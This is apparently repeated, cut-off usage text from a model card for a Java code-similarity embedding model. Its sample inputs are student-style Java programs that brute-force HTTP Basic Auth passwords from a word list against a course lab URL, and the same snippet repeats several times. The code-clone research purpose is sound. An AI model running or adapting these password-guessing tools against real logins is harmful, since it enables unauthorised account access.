..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** 